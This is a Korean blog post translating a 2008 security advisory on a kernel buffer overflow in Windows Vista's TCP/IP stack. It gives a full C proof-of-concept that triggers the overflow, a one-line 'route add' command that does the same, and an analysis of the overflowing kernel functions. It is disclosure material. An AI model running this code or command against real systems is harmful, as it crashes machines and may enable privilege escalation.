ludin's story

kaludin.egloos.com

포토로그 마이가든



[VC++] 비스타 TCP/IP 스택 버퍼 오버플로우 0

비스타 TCP/IP 스택 버퍼 오버플로우
유럽 회사인 phion에서 10월 21일 작성한 보안 권고문입니다. 오늘 Bugtraq에 떴네요. (원문 링크)

요약

비스타 32비트 버전과 64비트 버전의 iphlpapi.dll API가 Device IO Control을 호출하는 도중 버퍼 오버플로우로 커널 메모리를 손상시킬 수 있는 취약점이 발견되었습니다.

취약 시스템 목록

아래의 샘플 프로그램을 이용해서 아래 운영체제와 환경에서 취약한 것을 확인했습니다.

마이크로소프트 윈도우 비스타 엔터프라이즈 32비트와 64비트 버전
마이크로소프트 윈도우 비스타 얼티밋 32 비트와 64비트 버전
윈도우 XP에서는 문제가 발생하지 않습니다.

서비스 팩 1이나 보안 업데이트의 설치 유무에 상관없이 랜덤하게 충돌이 발생합니다.

샘플 프로그램을 실행하거나 route-add 명령을 실행하려면 사용자는 Network Configuration Operators 그룹이나 Administrators 그룹에 소속되어 있어야 합니다.

버퍼 오버플로우가 커널 메모리를 덮어쓰기 때문에 Network Configuration Operator 그룹에 소속된 사용자는 이 취약점을 익스플로잇 해서 운영체제의 권한을 획득할 가능성이 있습니다.

영향

IPv4 라우팅 테이블에 경로를 추가할 때 CreateIpForwardEntry2 메소드를 사용하게 됩니다. 이 때 인수를 넘기면서 MIB_IPFORWARD_ROW2 구조체에 포함된 DestinationPrefix 멤버 구조체(IP_ADDRESS_PREFIX)의 PrefixLength 멤버(UINT8)에 32보다 큰 값을 집어넣으면, 커널 메모리가 손상되면서 랜덤하게 충돌(BSOD)이 발생합니다. 샘플 프로그램을 실행한 직후에 충돌이 항상 발생하는 것은 아닙니다. 운영체제가 손상된 메모리에 접근할 때까지 시간이 좀 걸릴 수 있습니다. 여러가지 값으로 확인을 해봤는데 PrefixLength 값으로 129나 255를 사용하는 경우 충돌이 빈번하게 발생합니다.

샘플 프로그램을 사용하지 않고 "route add" 명령만 사용해서 문제를 재현할 수 있습니다. "route add" 명령도 샘플 프로그램과 동일한 메소드를 사용하기 때문에, 네트워크 마스크를 이상한 값으로 호출하면 동일한 버퍼 오버플로우가 발생합니다. 명령 프롬프트에서 아래와 같이 쳐보시면 됩니다.

route add 1.2.3.4/240 4.3.2.1

이 버퍼 오버플로우를 이용해서 코드를 삽입하고 보안을 무력화 시킬 수 있습니다.

대응 방안

2008년 11월 10일 현재, MS에서 아직 패치를 내놓지 않은 상태입니다.

보고 일시

이 취약점은 2008년 10월 22일 15시 20분(GMT+2)에 마이크로소프트에 알렸습니다.

발견자

Marius Wachtler, Michael Burgbacher, Carson Hounshell, Michael Craggs, Thomas Unterleitner

샘플 소스 코드

경고: 이 코드를 사용해서 발생하는 일은 전적으로 사용자의 책임입니다.

#define _WIN32_WINNT 0x0600
#define WIN32_LEAN_AND_MEAN

#include
#include
#include
#include

#include
#include

int main(int argc, char** argv)
{
DWORD dwStatus;
MIB_IPFORWARD_ROW2 route;

if (argc != 3)
{
printf("Usage: %s \n\n", argv[0]);
return -1;
}

InitializeIpForwardEntry(&route);

route.InterfaceIndex = atoi(argv[1]);
route.DestinationPrefix.Prefix.si_family = AF_INET;

route.DestinationPrefix.Prefix.Ipv4.sin_addr.s_addr = inet_addr("1.2.3.0");
route.DestinationPrefix.Prefix.Ipv4.sin_family = AF_INET;

route.DestinationPrefix.PrefixLength = atoi(argv[2]);

route.NextHop.Ipv4.sin_addr.s_addr = inet_addr("11.22.33.44");
route.NextHop.Ipv4.sin_family = AF_INET;

route.SitePrefixLength = 0;

route.Protocol = MIB_IPPROTO_NETMGMT;
route.Origin = NlroManual;
route.ValidLifetime = 0xffffffff;
route.PreferredLifetime = 0xffffffff;
route.Metric = 1;

dwStatus = CreateIpForwardEntry2(&route);
return dwStatus;
}

분석 결과

netio!PtpCreateTrieNode는 ExAllocatePoolWithTag 메소드를 사용해서 32 바이트를 할당합니다. 그 다음 netio!PtpCopyPartialKeys 함수는 24 바이트 떨어진 위치부터 방금 전에 할당한 버퍼에 메모리 복사를 시도합니다. 이 때 우리가 입력했던 수의 비트만큼 복사가 이루어집니다. 이 값이 8바이트보다 큰 경우 버퍼를 넘어가게 되므로 커널 메모리를 덮어쓰게 됩니다.

이후 매개변수, 콜스택, 디스어셈블리는 원문을 참조하시기 바랍니다.

by xeraph | 2008-11-20 11:22:38 | 권고문 | 트랙백 (1) | 덧글 (0)

트랙백 주소 : http://nchovy.kr/forum/2/article/324/trackback
Tracked from nchovy's me2DAY 2008-11-20 11:32:37

비스타 TCP/IP 스택 버퍼 오버플로우 취약점이 떴습니다. 로컬에서 커널 메모리를 덮어쓸 수 있습니다.


트랙백

이 글과 관련된 글 쓰기 (트랙백 보내기)
TrackbackURL : http://kaludin.egloos.com/tb/2390256 [도움말]

덧글

덧글 입력 영역



:: 배경음악 ::

1. 성시경-추억이 들린다 2. 씨야-사랑의 인사
Candle